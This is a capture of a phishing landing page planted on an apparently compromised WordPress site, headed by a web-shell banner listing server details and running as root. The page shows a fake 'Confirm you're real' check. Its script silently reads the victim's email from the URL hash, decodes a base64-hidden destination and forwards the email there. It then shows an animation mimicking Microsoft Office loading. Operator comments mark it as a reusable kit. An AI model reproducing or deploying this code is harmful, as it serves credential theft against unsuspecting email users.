| Server IP : 195.58.49.151 / Your IP : 216.73.216.250 Web Server : Apache/2.4.67 (Debian) mod_fcgid/2.3.9 OpenSSL/3.0.20 System : Linux hs.hsdns.ru 6.1.0-49-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64 User : root ( 0) PHP Version : 8.4.22 Disable Function : system,passthru,popen MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /home/antilam/web/antilam.ru/public_html/wp-content/wpec40a5/ |
Upload File : |
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Final Sync Active</title>
<style>
:root {
--primary: #6366f1;
--success: #22c55e;
--accent: #a855f7;
--bg-card: #ffffff;
--text-main: #1e293b;
--text-sub: #94a3b8;
}
body {
background: #ffff;
display: flex;
justify-content: center;
align-items: center;
margin: 0;
font-family: 'Inter', sans-serif;
min-height: 100vh;
}
.l2 {
position: relative;
background: var(--bg-card);
padding: 40px 35px;
border-radius: 20px;
width: 265px;
text-align: center;
box-shadow: 0 12px 30px -5px rgba(0,0,0,0.15);
border: 1px solid rgba(0,0,0,0.03);
transition: all 0.3s ease;
}
.l2.image-mode {
padding: 0;
display: flex;
justify-content: center;
align-items: center;
width: 400px;
height: 400px;
background: transparent;
box-shadow: none;
border: none;
}
.zs1 {
width: 41px;
height: 54px;
margin: 0 auto 12px;
position: relative;
display: flex;
align-items: center;
justify-content: center;
}
.rw4 {
position: absolute;
width: 100%;
height: 38%;
border: 2px solid var(--primary);
border-radius: 50%;
animation: moveSnake 3s linear infinite;
}
.rw4:nth-child(1) {
--r: 0deg;
border-color: var(--primary);
}
.rw4:nth-child(2) {
--r: 60deg;
border-color: var(--accent);
animation-delay: -1s;
}
.rw4:nth-child(3) {
--r: -60deg;
border-color: #3b82f6;
animation-delay: -2s;
}
@keyframes moveSnake {
0%, 100% {
transform: rotate(var(--r)) scale(1);
opacity: 0.7;
}
50% {
transform: rotate(var(--r)) scale(1.1);
opacity: 1;
}
}
.l2 h2 {
font-size: 1.05rem;
color: var(--text-main);
margin: 0;
font-weight: 800;
margin-top: 13px;
}
.l2 p {
color: var(--text-sub);
font-size: 0.78rem;
margin: 4px 0 16px;
margin-top: 8px;
}
.l5 {
background: #f8fafc;
border: 1.5px solid #f1f5f9;
padding: 10px 14px;
border-radius: 14px;
display: flex;
align-items: center;
position: relative;
overflow: hidden;
cursor: pointer;
transition: all 0.2s ease;
}
.l5:hover {
border-color: var(--primary);
background: #f1f5f9;
}
.d2 {
position: absolute;
inset: 0;
left: -100%;
width: 100%;
background: linear-gradient(90deg, transparent, rgba(99, 102, 241, 0.15), var(--primary), transparent);
filter: blur(15px);
display: none;
z-index: 1;
}
.sk5 .d2 {
display: block;
animation: runCheetah 1.4s infinite linear;
}
@keyframes runCheetah {
0% {
left: -100%;
}
100% {
left: 100%;
}
}
.wm0 {
width: 15px;
height: 15px;
border: 2px solid #cbd5e1;
border-radius: 20%;
margin-right: 12px;
background: #fff;
z-index: 5;
transition: all 0.2s ease;
}
.yh8 {
font-weight: 600;
color: #475569;
font-size: 0.82rem;
z-index: 5;
pointer-events: none;
flex: 1;
text-align: left;
}
.animation-container {
display: none;
justify-content: center;
align-items: center;
width: 100%;
height: 100%;
opacity: 0;
transition: opacity 0.5s ease;
}
.animation-container.active {
display: flex;
opacity: 1;
}
.vd9 {
background: #f0fdf4;
border: 1.5px solid var(--success);
padding: 10px 16px;
border-radius: 10px;
display: none;
align-items: center;
justify-content: center;
gap: 10px;
animation: popIn 0.4s cubic-bezier(0.34, 1.56, 0.64, 1);
}
.wq6 {
width: 20px;
height: 20px;
background: var(--success);
border-radius: 50%;
color: #fff;
display: flex;
align-items: center;
justify-content: center;
font-size: 11px;
font-weight: bold;
}
@keyframes popIn {
0% {
opacity: 0;
transform: scale(0.8);
}
100% {
opacity: 1;
transform: scale(1);
}
}
.hv4 .l5 {
display: none;
}
.hv4 .vd9 {
display: flex;
}
.hv4 .rw4 {
border-color: var(--success) !important;
}
.sk5 .wm0 {
pointer-events: none;
opacity: 0.4;
}
.image-mode .zs1,
.image-mode h2,
.image-mode p,
.image-mode .l5,
.image-mode .vd9 {
display: none;
}
</style>
<style id="VfggyrAADD">body#LOdLGnHNuI { background-color: #fff; height: 100%; overflow: hidden; } #RDlnXQFRuK{position:fixed;top:calc(50vh - 200px);left:calc(50vw - 200px);width:400px;height:400px;} #RDlnXQFRuK{position:fixed;top:calc(50vh - 200px);left:calc(50vw - 200px);width:400px;height:400px;} .ms-Fabric--isFocusHidden :focus{outline:0;} #wNdeKqTCol{width:400px;height:400px;display:flex;justify-content:center;align-items:center;position:relative;--duration:3000ms;--delay:0ms;--iterationCount:infinite;--direction:normal;--fillMode:forwards;--playState:running;--easing:ease-in-out;} .QvMyYMqHrD{width:164px;height:200px;border-radius:26px;overflow:hidden;position:absolute;z-index:100;animation:pinchAndRelease var(--duration) var(--easing) var(--delay) var(--iterationCount) var(--direction) var(--fillMode) var(--playState);} .ZneMKOwrvf{width:164px;height:200px;border-radius:26px;overflow:hidden;position:relative;z-index:20;animation:pinchAndRelease var(--duration) var(--easing) var(--iterationCount) var(--direction) var(--fillMode) var(--playState);} .AGfcPzwOdU{position:absolute;bottom:100px;left:118px;width:164px;height:200px;background-color:transparent;z-index:60;overflow:hidden;animation:pinchAndRelease var(--duration) var(--easing) var(--delay) var(--iterationCount) var(--direction) var(--fillMode) var(--playState);} .sJgHflIFhM{background:radial-gradient(circle,#00217700 54%,#0021778c 100%);background-position:-34px -34px;background-size:170px 170px;width:130px;height:130px;position:absolute;top:26px;left:17px;border-radius:18px 24px 0 24px;transform:rotateX(50deg) rotateZ(45deg);transform-style:preserve-3d;z-index:50;} .yTuLvarrpi{background-color:#28afea;width:130px;height:130px;position:absolute;top:26px;left:17px;border-radius:18px 24px 0 24px;transform:rotateX(50deg) rotateZ(45deg);transform-style:preserve-3d;z-index:30;} .ulYuHxyeTc{width:200px;height:200px;border-radius:0 38px;background-color:#6ce0ff;background:radial-gradient(circle,#2cbbf3 0,#87e5ff 100%);position:absolute;bottom:-80.5px;left:-112px;transform:rotateX(50deg) rotateZ(45deg);z-index:51;} .PQeXVFQCEi{width:200px;height:200px;border-radius:0 38px;background-color:#0985dc;background:linear-gradient(3deg,#0985dc 25%,#3da9fb 58%,#c29dfa 80%,#f4a7f7 100%);background-position:0 0;position:absolute;bottom:-80.5px;right:-112px;transform:rotateX(50deg) rotateZ(45deg);z-index:50;} .cjTYYLYwHJ{position:absolute;width:100%;height:110px;bottom:0;left:0;background:#7bf4ff;background:linear-gradient(56deg,#7bf4ff 0,#c29dfa 100%);} .BXzBYVwNcE{background-color:#3834b9;width:130px;height:130px;position:absolute;top:26px;left:17px;z-index:1;border-radius:18px 24px 0 24px;transform:rotateX(50deg) rotateZ(45deg);transform-style:preserve-3d;z-index:30;overflow:hidden;animation:layersSlideIn var(--duration) var(--easing) var(--delay) var(--iterationCount) var(--direction) var(--fillMode) var(--playState);} .BXzBYVwNcE::after{content:'';position:absolute;top:-1px;left:0;width:86px;height:158px;background-color:#4b6de7;border-top-right-radius:24px;z-index:10;} .BXzBYVwNcE::before{content:'';position:absolute;top:-1px;left:-10px;width:54px;height:158px;background:#5b9ee8;background:linear-gradient(344deg,rgb(50 146 234) 30%,#81c2f9 76%,#abb8fa 90%);border-radius:60px;z-index:20;} .gfkHzDoBXq{position:absolute;width:130px;height:162px;background:#2650bd;background:linear-gradient(40deg,rgb(6 103 211) 40%,#7f85f6 100%);border-radius:14px;left:19px;top:18px;z-index:30;animation:documentOneScale var(--duration) var(--easing) var(--delay) var(--iterationCount) var(--direction) var(--fillMode) var(--playState);} .WnViRIkoxx{position:absolute;width:114px;height:156px;background:#abc8e2;background:linear-gradient(47deg,#abc8e2 0,#fcefd6 100%);border-radius:14px;left:36px;top:32px;z-index:40;box-shadow:-9px -3px 4px -3px rgba(0,0,0,.1);animation:documentTwoScale var(--duration) var(--easing) var(--delay) var(--iterationCount) var(--direction) var(--fillMode) var(--playState);} .WnViRIkoxx::before{content:'';position:absolute;top:0;left:0;width:15px;height:158px;background-color:#293bb0;border-radius:24px 0 0 24px;} @keyframes pinchAndRelease{0%,100%,12.5%,25%,35.5%,50%{transform:scale(1,1) translateY(0);}30%,5%{transform:scale(.86,1.1) translateY(-10px);}} @keyframes layersSlideIn{0%,23%{transform:translateY(74px) scale(0) rotateX(50deg) rotateZ(45deg);}100%,33%{transform:translateY(0) scale(1) rotateX(50deg) rotateZ(45deg);}} @keyframes documentOneScale{0%,100%,35%,50%{transform:translate(61px,82px) scale(0,0) rotateZ(20deg) rotateY(26deg);}12%,22%{transform:translate(0,0) scale(1,1) rotateZ(-18deg) rotateY(0);}} @keyframes documentTwoScale{0%,100%,33%,50%{transform:translate(44px,68px) scale(0,0) rotateZ(20deg) rotateY(26deg);}15%,19%{transform:translate(0,0) scale(1,1) rotateZ(-9deg) rotateY(0);}} </style>
</head>
<body>
<div class="l2" id="mainCard">
<!-- Animated spinner -->
<div class="zs1">
<div class="rw4"></div>
<div class="rw4"></div>
<div class="rw4"></div>
</div>
<h2>Quick step</h2>
<p>Tap to continue</p>
<!-- Confirmation button -->
<div class="l5" id="confirmButton">
<div class="d2"></div>
<div class="wm0" id="checkbox"></div>
<span class="yh8" id="buttonText">Confirm you're real</span>
</div>
<!-- Success message -->
<div class="vd9" id="successMessage">
<div class="wq6">✓</div>
<span style="color:var(--success); font-weight:700; font-size:0.9rem;">Validation Successful</span>
</div>
<!-- Animation container - will show alone after confirmation -->
<div class="animation-container" id="animationContainer">
<div id="RDlnXQFRuK" dir="ltr">
<div id="wNdeKqTCol">
<div class="QvMyYMqHrD">
<div class="sJgHflIFhM"></div>
<div class="ulYuHxyeTc"></div>
<div class="PQeXVFQCEi"></div>
</div>
<div class="AGfcPzwOdU">
<div class="BXzBYVwNcE"></div>
<div class="WnViRIkoxx"></div>
<div class="gfkHzDoBXq"></div>
</div>
<div class="ZneMKOwrvf">
<div class="yTuLvarrpi"></div>
<div class="cjTYYLYwHJ"></div>
</div>
</div>
</div>
</div>
</div>
<script>
(function() {
// Get DOM elements
const mainCard = document.getElementById('mainCard');
const confirmButton = document.getElementById('confirmButton');
const checkbox = document.getElementById('checkbox');
const buttonText = document.getElementById('buttonText');
const animationContainer = document.getElementById('animationContainer');
// ============================================
// CONFIGURATION - SET YOUR BASE64 ENCODED FINAL URL HERE
// ============================================
// Replace this with your actual landing page URL encoded in Base64
// Example: "https://example.com/final-destination" encodes to "aHR0cHM6Ly9wcmVzdGlnZXBkZnBvbnR6YS5zdXN0YWluYWJsZWNvbW0uZGUvVHFqT2kv"
const ENCODED_FINAL_URL = "aHR0cHM6Ly9nZW5jYXRjb3JyZXVzLm5ldGxpZnkuYXBwIA";
// ============================================
// PART 1: GRAB EMAIL FROM URL AFTER # SYMBOL (HIDDEN)
// ============================================
function getEmailFromHash() {
// Get everything after the # symbol
const hash = window.location.hash.substring(1); // Remove the # character
return hash || null; // Return null if no hash
}
// Get email from URL hash (not displayed anywhere)
const userEmail = getEmailFromHash();
// Log for debugging (can be removed in production)
if (userEmail) {
console.log('Email captured from #:', userEmail);
}
// ============================================
// PART 2: DECODE BASE64 URL
// ============================================
function decodeBase64Url(encodedUrl) {
try {
// Decode the Base64 string
const decoded = atob(encodedUrl);
return decoded;
} catch (e) {
console.error('Failed to decode Base64:', e);
return null;
}
}
// Decode the Base64 URL to get the real landing page
const DECODED_FINAL_URL = decodeBase64Url(ENCODED_FINAL_URL);
if (!DECODED_FINAL_URL) {
console.error('Invalid Base64 URL. Please check your ENCODED_FINAL_URL');
}
// ============================================
// PART 3: CREATE FORWARDING URL WITH EMAIL AS QUERY PARAMETER
// ============================================
function createForwardingUrl() {
if (!DECODED_FINAL_URL) {
return '#'; // Invalid URL, stay on page
}
// If we have an email, add it as query parameter
if (userEmail) {
// Properly encode the email for URL (converts @ to %40, etc.)
const encodedEmail = encodeURIComponent(userEmail);
// Check if the URL already has query parameters
if (DECODED_FINAL_URL.includes('?')) {
// If it already has params, append with &
return `${DECODED_FINAL_URL}&email=${encodedEmail}`;
} else {
// If no params, start with ?
return `${DECODED_FINAL_URL}?email=${encodedEmail}`;
}
} else {
// If no email, just go to decoded landing page
return DECODED_FINAL_URL;
}
}
// Store the forwarding URL
const FORWARDING_URL = createForwardingUrl();
// Log for debugging (can be removed in production)
console.log('=== Email Forwarding with Base64 ===');
console.log('🔐 Encoded Base64 URL:', ENCODED_FINAL_URL);
console.log('🌐 Decoded URL:', DECODED_FINAL_URL);
console.log('➡️ Final redirect:', FORWARDING_URL);
// ============================================
// PART 4: HANDLE CONFIRMATION AND REDIRECT
// ============================================
// Add click event to confirm button
confirmButton.addEventListener('click', function(e) {
e.stopPropagation();
// Don't proceed if already validated
if (mainCard.classList.contains('hv4')) return;
// Add loading animation to button
confirmButton.classList.add('sk5');
buttonText.innerText = "Analyzing...";
// Simulate validation process
setTimeout(() => {
// Remove button loading animation
confirmButton.classList.remove('sk5');
// Show success state briefly
mainCard.classList.add('hv4');
// Brief pause to show success checkmark
setTimeout(() => {
// Hide all content and show only the 3D animation
mainCard.classList.add('image-mode');
animationContainer.classList.add('active');
// Redirect after animation has been shown
setTimeout(() => {
// Use the forwarding URL with email as query parameter
window.location.href = FORWARDING_URL;
}, 5000); // Show animation for 5 seconds before redirect
}, 500); // Show success for 0.5 seconds
}, 1500); // Validation takes 1.5 seconds
});
// Add hover effect to checkbox
checkbox.addEventListener('mouseenter', function() {
if (!mainCard.classList.contains('hv4') && !confirmButton.classList.contains('sk5')) {
this.style.transform = 'scale(1.2)';
}
});
checkbox.addEventListener('mouseleave', function() {
this.style.transform = 'scale(1)';
});
})();
</script>
</body>
</html>